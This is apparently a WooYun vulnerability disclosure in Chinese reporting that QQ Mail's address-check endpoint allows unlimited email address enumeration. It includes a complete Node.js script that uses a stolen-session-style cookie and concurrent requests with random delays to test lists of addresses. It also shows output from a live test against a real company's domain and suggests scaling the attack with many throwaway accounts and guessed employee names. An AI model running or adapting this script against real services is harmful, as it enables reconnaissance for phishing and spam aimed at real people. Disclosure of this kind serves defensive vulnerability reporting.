WooYun.org

为了检测是否有防机器人机制便构造了 1200多个地址来检测。

运行结果如下：

可以看到成功的从1200个地址中检测出了这三个邮箱地址是存在的。

按理说这样的功能用户体验确实很棒，但是如果没做限制的话也不太好。
其实限制也不太好限制，如果某个公司邮件往来频繁 一天可能要给几千个地址发邮件，每个地址都要检测一遍 如果这样也限制了的话那就影响到了用户体验。
如果只限制每天3000个或者一个号一个小时只能查100次的话 那又可以写个批量登陆获取cookie的工具 来用几百个小号qq来跑了。
反正我个人觉得这个问题蛮棘手的 期待你们的修复方案。
测试代码：
var async = require('async');
var request = require('request');
var lineread = require('line-reader');
var FilePath = "MailAdd.txt";
var CheckSid = "";
var urls = [];
var concurrencyCount = 0;
var MailCookie = "";
var options = {
headers:{
'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5)',
'Cookie':MailCookie
}
}
console.log('[*] 判断QQ邮箱用户(包括QQ企业邮箱) [*]');
//获得到SID
function GetSid(checkurl,callback){
request.get(checkurl,options, function (err,res) {
if(err){
return console.log(err);
}
if(String(/sid=.{16}/.exec(res.body)[0])){
callback(String(/sid=.{16}/.exec(res.body)[0]).replace('sid=',''));
}
else{
return console.log('Cookie已过期或者未设置请重新设置');
}
})
}
//检查邮箱地址是否存在
function CheckMail(mailadd,callback){
var delay = parseInt((Math.random() * 10000000) % 2000, 10);
concurrencyCount++;
console.log('并发数: '+concurrencyCount+'，Check : '+mailadd+'，耗时'+delay+'毫秒');
var Checkurl = 'http://set1.mail.qq.com/cgi-bin/laddr_domain_check?sid='+CheckSid;
var PostData = {
'acttype':4,
'addrfilt':mailadd
}
setTimeout(function () {
concurrencyCount--;
request.post({
headers: {'Cookie': MailCookie},
url: Checkurl,
form: PostData
}, function (err, res) {
if (err) {
return err;
}
callback(null,{'Mailadd':mailadd,'ResBody':res.body});
})
},delay);
}
//获得SID 并读取邮箱地址
GetSid("http://mail.qq.com/cgi-bin/login?vt=passport&vm=wsk&delegate_url=",function(callback){
//console.log(callback);
CheckSid = String(callback);
lineread.eachLine(FilePath, function(line) {
if(String(line)){
urls.push(line);
}
}).then(function () {
console.log(FilePath+" Read Done!");
//CheckMail(CheckSid,urls[1],function(callback){console.log(callback.mailadd);});
start();
});
});
//控制并发 并调用CheckMail
function start(){
async.mapLimit(urls, 10, function (mails, callback) {
CheckMail(mails, callback);
}, function (err,result) {
if(err){
console.log('Error:')
console.log(err);
}
console.log('Done:');
for(length in result){
//判断结果
if(result[length].ResBody.indexOf('({invalidlocalaccount:[null]')>=0){
console.log(result[length].Mailadd+" =======》exists");
}
}
});
}
</code>
需要node.js环境 然后 npm install 安装 async request line-reader 这三个模块
MaillAdd.txt 为要检测的邮箱地址 一行一个
MailCookie 为登陆上QQ邮箱后的cookie document.cookie一下 拿出来放到这个变量中即可。
并发数可更改。
为了进一步证明漏洞的可行性，于是我便找了个一个算是比较大的网站来做了一个小测试。
E假海南旅行网 www.ethainan.com PR6
用上面说的方法，验证了他们用的QQ企业邮箱，然后从网站找了几个邮箱地址，然后自己根据猜想写了几个邮箱地址，用程序跑了起来。

Done:
meeting@ethainan.com =======》exists
webmaster@ethainan.com =======》exists
可以看到存在的邮箱地址就只有这两个 可以通过根据论坛的id去跑一遍还有员工姓名转pinyin去跑一下。
没有次数限制，跑出来只是时间问题。大概并发20 持续一小时的话能跑几万个地址。